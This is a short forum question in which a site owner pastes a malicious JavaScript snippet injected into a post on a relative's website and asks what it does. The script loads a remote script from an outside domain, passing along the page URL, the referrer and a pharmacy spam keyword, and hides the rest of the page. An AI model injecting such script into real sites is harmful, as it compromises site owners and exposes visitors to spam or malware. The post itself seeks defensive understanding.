Malicious javascript posted in forum
<pre><code>&lt;SCRIPT&gt;
  ff = 0;
  for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1;
  if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) &amp;&amp; false ) ) {
    document.write('&lt;SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&amp;k=' + escape('generic norvasc') + '&amp;r=' + escape(document.referrer) + '"&gt;&lt;' + '/SCRIPT&gt;' ); document.write ('&lt;' + '!--' );
  }
&lt;/SCRIPT&gt;
</code></pre>

<p>Recognize this code? I see it's stuck in a number of websites, but all the characters have been replaced with their hex or octal equivalent. Someone posted this code in a post on one of my dad's sites, but I can't quite figure out what it's doing. It seems to be harvesting mappings of web pages to referrers, but I can't figure out what the first few lines are doing. Anyone have any idea what's going on here?</p>
